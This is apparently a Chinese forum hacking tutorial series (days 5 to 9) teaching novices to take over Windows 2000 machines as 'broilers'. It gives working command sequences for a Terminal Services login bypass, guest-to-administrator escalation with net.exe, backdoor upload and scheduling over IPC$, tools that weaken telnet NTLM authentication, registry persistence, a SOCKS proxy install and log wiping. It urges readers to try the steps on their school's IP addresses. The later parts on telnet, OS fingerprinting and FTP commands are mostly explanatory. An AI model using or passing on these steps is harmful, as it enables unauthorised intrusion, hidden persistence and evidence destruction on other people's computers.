WIN2000的终端服务功能,能使系统管理员对WIN2000进行远程操作,采用的是图形界面,能使用户在远程控制计算机时功能与在本地使用一样,其默认端口为3389,用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。

工具:客户端连接管理器,下载地址:自己找吧,天天有好几种呢。

入侵步骤:

一,获得管理员账号。

我们先对一个网段进行扫描,扫描端口设为3389,运行客户端连接管理器,将扫描到的任一地址加入到,设置好客户端连接管理器,然后与服务器连结。几秒钟后,屏幕上显示出WIN2000登录界面(如果发现是英文或繁体中文版,放弃,另换一个地址),用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条(如果没有出现,请耐心等待,因为对方的数据流传输还有一个过程)。用右键点击状态条上的微软徽标,弹出“帮助”(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞),打开“帮助”一栏中“操作指南”,在最上面的任务栏点击右键,会弹出一个菜单,打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如,该系统安装在C盘上,就在空白栏中填入"c:\winnt\system32"。然后按“确定”,于是我们就成功地绕过了身份验证,进入了系统的SYSTEM32目录。

现在我们要获得一个账号,成为系统的合法用户。在该目录下找到"net.exe",为"net.exe"创建一个快捷方式,右键点击该快捷方式,在“属性”->“目标”->c:\winnt\system32\net.exe后面空一格,填入"user guest /active :yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户,当然也可以利用"user 用户名 密码/add",创建一个新账号,但容易引起网管怀疑。运行该快捷方式,此时你不会看到运行状态,但guest用户已被激活。然后又修改该快捷方式,填入"user guest 密码",运行,于是guest便有了密码。最后,再次修改,填入“localgroup administrators guest /add,将guest变成系统管理员。

注意事项:1、在这过程中,如果对方管理员正在使用终端服务管理器,他将看到你所打开的进程id,你的ip和机器名,甚至能够给你发送消息。

2、终端服务器在验证你的身份的时候只留给了你一分钟的时间,在这一分钟内如果你不能完成上述操作,你只能再连结。

3、你所看到的图像与操作会有所延迟,这受网速的影响。

二,创建跳板。

再次登录终端用务器,以"guest"身份进入,此时guest已是系统管理员,已具备一切可执行权。打开“控制面板”,进入“网络和拔号连接”,在“本地连接”或“拔号连接”中查看属性,看对方是否选择“Microsoft 网络的文件和打印机共享”,如果没有,就打上勾。对方如果使用的是拔号上网,下次拔号网络共享才会打开。

退出对方系统,在本地机命令提示符下,输入

net use \\IP Address\IPC$ ["password"] /user:"guset",通过IPC的远程登陆就成功了。

登陆成功之后先复制一个Telnet的程序上去(小榕流光安装目录下的Tools目录里的Srv.exe,另外,还有ntml.xex,一会要用),这个程序是在对方上面开一个Telnet服务,端口是99。

copy c:\hack\srv.exe \\***.***.***.***\admin$

然后利用定时服务启动它,先了解对方的时间:

net time \\***.***.***.***

显示:

\\***.***.***.*** 的当前时间是 2001/1/8 下午 08:55

命令成功完成。

然后启动srv.exe:

at \\***.***.***.*** 09:00 srv.exe

显示:

新加了一项作业,其作业 ID = 0

过几分钟后,telnet ***.***.***.*** 99

这里不需要验证身份,直接登录,显示:

c:\winnt:\system32>

我们就成功登陆上去了。然后又在本地打开命令提示符,另开一个窗口,输入:

copy c:\hack\ntlm.exe \\211.21.193.202\admin$

把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口,运行ntlm.exe

C:\WINNT\system32>ntlm

显示:

Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.

Done!

C:\WINNT\system32>

C:\WINNT\system32>

好,现在我们来启动WIN2000本身的telnet,首先终止srv.exe的telnet服务:

net stop telnet 系统告诉你并没有启动telnet,不理它,继续:

net start telnet 这次真的启动了telnet,我们可以在另开的命令提示符窗口telnet到对方的

23端口,验证身份,输入我们的guest账号和密码,它就真正成为我们的跳板了。我们可以利用它到其它的主机去。

三、扫除脚印:

删除为net.exe 创建的快捷方式,删除winnt\system32\logfiles下边的日志文件

[第5天]从简单的网络命令讲起

有个朋友问了我个问题:端口映射是什么意思??

其实很简单的,采用端口映射(Port Mapping)的方法,可以实现从Internet到局域网内部机器的特定端口服务的访问。例如,你所使用的机子处于一个连接到Internet的局域网内,你在机子上所开的所有服务(如FTP),默认情况下外界是访问不了的。这是因为你机子的IP是局域网内部IP,而外界能访问的只有你所连接的服务器的IP,由于整个局域网在Internet上只有一个真正的IP地址,而这个IP地址是属于局域网中服务器独有的。所以,外部的Internet登录时只可以找到局域网中的服务器,那你提供的服务当然是不起作用的。

所以解决这个问题的方法就是采用PM了。

有篇文章不错。大家看看:http://www.pconline.com.cn/pcedu/soft/lan/jywgl/10301/127157.html

继续讲,昨天有人说我找到个肉鸡,但不会用远程控制软件。先说用什么好呢

我推荐Remote Administrator,有篇介绍它的文章很好:http://www.pcworld.com.cn/2002/back_issues/2205/0533e.asp

下载:http://www.skycn.com/soft/15592.html

我想里面的说明你应该能很好理解的

现在我以一个例子来说一下怎么获得一个肉鸡,虽然前面一直在说,但好象有点乱的,下面说的这个有点投机取巧的感觉,至少我这样觉得,不过因为很多朋友说都5天了,我什么都没搞到啊,所以只能。。

第一步:扫描弱口令

这里我用20cn开发的scanipc (这http://down.yqdown.com/xdown/yqdown0316/scanipc.rar有下的)

不一会就会扫到很多有弱口令的主机

(你可以拿你们学校的IP试试)

这里我用opentelnet(远程启动TELNET的小东西,这里下:http://www.infosw.com/down/software.asp?id=1520)给扫描到开了空口令的主机开个端口让我们telnet连接上去

,开了23端口,并可以连接上的主机就不用进行次步骤了!

Opentelnet使用方法:

OpenTelnet.exe \\server <帐号> <密码> <NTLM认证方式> <Telnet端口>

列如:

C:\>OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90 用户名:administrator 密码:123456

NTLM认证方式:1(也可以选择0请自己测试) 开的端口:90

运行完,如果屏幕上出现 Disconnecting server...Successfully! 就说明已经成功。

这样,我们就能够得到一个开90端口的Telnet服务器了。

Telnet 192.168.1.2 90

这样就可以登录上去了。

第三步:配置并安装后门程序

这里我选择WinShell(小巧精干我喜欢下载:http://www.hktk.com/soft/soft_server/winshell.html),用winshell主程序设置好后门,然后把后门程序传到台FTP空间上!

列如:

c:\>ftp

ftp>openwww.cnwill.com

然后输入用户名字 密码把后门传上去mput c:\cnwill.exe

现在我们登陆到肉鸡上 Telnet 192.168.1.2 90

把刚上传的后门程序下载并运行(别忘记删除 后门程序)

『后门也可以用net命令完成』

net user \\192.168.1.2 90\ipc$ "" /user:"administrator"

[ 建 立 IPC$ 连 接 ]

copy d:\zilong.exe \\192.168.1.2 90\admin$\system32

[ 上 传 一 个 后 门 程 序 到 对 方 的 主 机 里]

copy d:\long.exe \\192.168.1.2 90\admin$\system32

[上 传 一 个 删 除 日 志 程 序 到 对 方 的 主 机 里]

copy d:\scoks.exe \\192.168.1.2 90\admin$\system32

[ 上 传 一 个 SCOKS 代 理 程 序 到 对 方 的 主 机 里]

copy d:\zilong.reg \\192.168.1.2 90\admin$\system32

[上 传 导 入 注 册 表的 REG 文 件 到 对 方 的 主 机 里]请看后门说明

net time \\192.168.1.2 90

[ 得 到 对 方 主 机 的 当 前 时 间]

at \\192.168.1.2 90 13:20 zilong.exe

[用 a t命 令 执 行 我 们 的 后 门 程 序] 别 把 时 间 搞 错 了 哦

==============

如果大家用不习惯命令的话,那就用流光的IPC种植者吧,简单易用.这里就不赘述啦

=============

telnet 192.168.1.2 90

[ 从 我 们 设 置 的 后 门 程 序 登 陆 主 机 ]

net user **** /add

[近来后添加一个用户名再说或者也可以选择激活guest]

net localgroup administrators **** /add

[ 把 自 己 添 加 到 管 理 组 里,这 样 我 们 就 是 超 级 管 理 员 了]

regedit /s c:\winnt\system32\zilong.reg

[ 把 后 门 程 序 导 入 注 册 表 的 启 动 项]这样做是防止被别人停止我们

的后门服务程序,就算我们的后门服务程序被停止了,在主机重启动后我们的后门

服务就又继续运行了.

SOCKS -install

[ 开 始 安 装 socks 代 理]

SCOKS -config starttype 2

[ 使 SOCKS 代 理 程 序 自 动 运 行,不 怕 肉 鸡 再 重 启 了]

socks -config port 1080

[ socks 代 理 端 口 设 置 为 1080 ]

net start skserver

[ 启 动 SOCKS 代 理 服 务 ]可以打开QQ设置IP代理了

long

[ 刚 才 上 传 的 一 个 删 除 日 志 程 序,运 行 它 就 可 以 了]

[第6天]从telnet讲起

先说telnet,什么是telnet?Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么什么是远程登录?

我想这个大家都明白一点,定义:远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。

Telnet远程登录服务分为以下4个过程:

1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;

2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;

4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。

再说一下什么叫Telnet协议?简单点说Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:

1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;

2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;

3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。

关于这个就说这么多了,至于其他的一些就不说了,因为没什么帮助对我门,如果你有兴趣,可以去本站查查相关资料

再说说Win2000的Telnet服务,因为大部分服务器用的都是2000的

Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。 其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已.Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:

AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。

DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。

LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。

NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:

0: 不使用 NTLM 身份验证。

1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。

2: 只使用 NTLM 身份验证。

TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1

2 NTLM

提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:

1、客户端首先在本地加密当前用户的密码成为密码散列

2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输

3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)

4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)

5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器

6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。

7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。

由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

1)身份验证选项=0时

=====================================

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

password:

\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678

2)身份验证选项=1时

=====================================

NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

password:

\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别

3)身份验证选项=2时

=====================================

NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password

Server allows NTLM authentication only

Server has closed connection

遗失对主机的连接。

C:\>

\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫

所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:

1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;

2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;

3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;

4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)

5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)

基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:

OpenTelnet.exe \\server username password NTLMAuthor telnetport

OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport

cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>

那telnet上去后不知道该做什么了?很多朋友这样问了,我想如果你是从第1天看的,应该知道吧,我就再说说吧

1 查看系统信息

呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。

2 使用tftp传送文件

想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell(这个前面已经很详细的说过了)们可以用TFPT命令来完成这一切,什么是TFTP呢?

用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:

C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe

其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)

需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。

3 安置后门

如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧

这个问题我在前面有讲过一点,但不详细.用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:(这是一个前辈写的我copy一下,很中肯的)

1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。

2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。

不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。

4 打补丁

如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。(上一篇我讲过一点)

好了,基本上就这么多了,今天就到这了,希望能给大家一些帮助

[第7天]继续讲,从克隆帐号 讲起

前2天基本的一些东西都讲过了,今天我觉得得把克隆帐号这个问题讲清楚了

什么叫克隆帐号 ?

前辈说:在注册表中有两处保存了帐号的SID相对标志符,一处是SAM\Domains\Account \Users下的子键名,另一处是该子键的子项F的值中。这里微软犯了个不同步它们的错误,登陆时用的是后者,查询时用前者。当用admin的F项覆盖其他帐号的F项后,就造成了帐号是管理员权限但查询还是原来状态的情况 。即所谓的克隆帐号。(我想这个很明白的,如果还有这个问题,你去网络技术版块问吧)

说到克垄帐号就得说说SAM安全帐号管理器,详细的我就不重复了,因为呢多前辈写了很多很棒的文章,大家有兴趣就看看:http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=1427

明白原理后就可以手动或者用现成的工具克隆帐号,用什么呢?

克隆ca.exe 下载(找了许久 啊)http://www.hejie.net/xz/list.asp?id=926

注意手动克隆需要SYSTEM权限(这句话大家应该能明白吧)

用什么呢?psu.exe

还是很棒的,下载:www.sometips.com/soft/psu.exe

[第8天]从回答一个朋友的问题说起

有个朋友发了短信给我问怎么判断对方主机的操作系统呢?今天我们就先说说这个问题。我先从最简单的PING看主机操作系统说起

一、用ping来识别操作系统

C:\>ping 10.1.1.2

Pinging 10.1.1.2 with 32 bytes of data:

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Ping statistics for 10.1.1.2:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\>

C:\>ping 10.1.1.6

Pinging 10.1.1.6 with 32 bytes of data:

Request timed out.

Reply from 10.1.1.6: bytes=32 time=250ms TTL=237

Reply from 10.1.1.6: bytes=32 time=234ms TTL=237

Reply from 10.1.1.6: bytes=32 time=234ms TTL=237

Ping statistics for 10.1.1.6:

Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),

Approximate round trip times in milli-seconds:

Minimum = 234ms, Maximum = 250ms, Average = 179ms

我们跟据ICMP报文的TTL的值,我们就可以大概知道主机的类型。如:TTL=125左右的主机应该是windows系列的机子,TTL=235左右的主机应该是UINX系列的机子。如上面的两个例子,10.1.1.2就是win2000的机子,而10.1.1.6则是UINX(Sunos 5.8)的机子。这是因为不同操作系统的机子对ICMP报文的处理与应答是有所不同的,TTL值每过一个路由器会减1。所以造成了TTL回复值的不同。对于TTL值与操作系统类型的对应,还要*大家平时多注意观察和积累。

二、直接通过联接端口根据其返回的信息来判操作系统

这种方法应该说是用得最多的一种方法,下面我们来看几个实例。

1、如果机子开了80端口,我们可以telnet它的80端口。

C:\>telnet 10.1.1.2 80

输入get 回车(注意这里是盲打)

如果返回,

HTTP/1.1 400 Bad Request

Server: Microsoft-IIS/5.0

Date: Fri, 11 Jul 2003 02:31:55 GMT

Content-Type: text/html

Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrect. </body>

</html>

遗失对主机的连接。

C:\>

那么这台就肯定是windows的机子。

如果返回,

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method

Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> get to / not

supported.<P> Invalid method in request get<P><HR> <ADDRESS>Apache/1.3.27 Server at gosiuniversity.com Port 80</ADDRESS>

</BODY></HTML>

遗失对主机的连接。

C:\>

那么多数就是UINX系统的机子了。

2、如果机子开了21端口,我们可以直接FTP上去

C:\>ftp 10.1.1.2

如果返回,

Connected to 10.1.1.2.

220 sgyyq-c43s950 Microsoft FTP Service (Version 5.0).

User (10.1.1.2:(none)):

那么这就肯定是一台win2000的机子了,我们还可以知道主机名呢,主机名就是sgyyq-c43s950。这个FTP是windows的IIS自带的一个FTP服务器。

如果返回,

Connected to 10.1.1.3.

220 Serv-U FTP Server v4.0 for WinSock ready...

User (10.1.1.3:(none)):

也可以肯定它是windows的机子,因为Serv-U FTP是一个专为windows平台开发的FTP服务器。

如果返回,

Connected to 10.1.1.3.

220 ready, dude (vsFTPd 1.1.0: beat me, break me)

User (10.1.1.3:(none)):

那么这就是一台UINX的机子了。

3、如果开了23端口,这个就简单了,直接telnet上去。

如果返回,

Microsoft ? Windows ? Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

那么这肯定是一台windows的机子了

如果返回,

SunOS 5.8

login:

不用说了,这当然是一台UINX的机子了,并且版本是SunOS 5.8的

三、利用专门的软件来识别

这种有识别操作系统功能的软件,多数采用的是操作系统协议栈识别技术。这是因为不同的厂家在编写自己操作系统时,TCP/IP协议虽然是统一的,但对TCP/IP协议栈是没有做统一的规定的,厂家可以按自己的要求来编写TCP/IP协议栈,从而造成了操作系统之间协议栈的不同。因此我们可以通过分析协议栈的不同来区分不同的操作系统,只要建立起协议栈与操作系统对应的数据库,我们就可以准确的识别操作系统了。

下面是简单介绍两款有识别功能的软件,具体用法我就不说,你可以到网上去找找相应软件的说明使用

一是nmap,下载地址:http://www.linuxeden.com/download/indexsoft.php?category=syssecure 它采用的是主动式探测,探测时会主动向目标系统发送探测包,根据目标目标机回应的数据包来,叛断对方机的操作系统。

2、 天眼,采用的是被动式的探测方法。不向目标系统发送数据包,只是被动地探测网络上的通信数据,通过分析这些数据来判断操作系统的类型。配合supersan使用,较果很好。

下载地址 http://www.xfocus.net/tools/200206/天眼1.0.5.zip

『第9天』从FTP入侵到SQL

大家都知道FTP,但很多人都讲不好它具体指什么,FTP是指文件传输协议,因特网上常用的文件传输协议,它使用户能够在两个联网计算机间实现文件传输,是因特网上传递文件最主要的方法。在使用FTP进行文件传输时,首先启动FTP客户端程序与远程主机建立连接,然后向远程主机发出传输命令,远程主机在收到命令后给予响应,并执行正确的命令。除此之外,FTP还提供登录、目录查询、文件操作及其他会话控制功能。 很详细了吧,别老是认为FTP就是传文件的软件,呵呵

因为FTP是一种文件传输方式,所以要入侵它就有点困难了,一般现在都没什么用了,因为即使你取得了上传权限也无法直接执行程序,在UNIX或是早期一些主机上或许有一些溢出或是越权的漏洞。今天我们说这个是因为很多FTP都是可以匿名登陆的(各个高校的至少对校内的都是吧,也有严格的好像科大的就是需要很严格的认证,晕^^^),这就有文章做了

对了,说到这我想说一下FTP的一些基本命令,大家可能都知道,还是说一下 (以人为本嘛)很长的,希望大家耐性看

FTP命令:

FTP的命令行格式为: ftp -v -d -i -n -g [主机名] ,

其中 -v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args>:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip

2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。

4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。

6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。

8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。

10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。

12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。

14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。

16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件

18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。

20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。

22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。

24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。

26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。

28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。

30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。

32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。

34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。

36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。

40.ntrans[inchars[outchars>:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。

42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。

44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。

45.put local-file[remote-file]:将本地文件local-file传送至远程主机。

46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。

48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。

50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。

52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。

54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。

56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。

58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。

60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。

62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。

64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。

66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。

68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。

70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。

72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

上面的命令我建议大家最好下下来,背熟了很有用的。上面说到很多FTP都有提供匿名FTP的服务,而方便和安全性却是鱼与熊掌不能两得的!!很多

系统管理员都为了避免麻烦就用系统的预设设定来提供FTP这个服务.而anonymous ftp却

是有许多漏洞的,这样我们就有的说了啊。

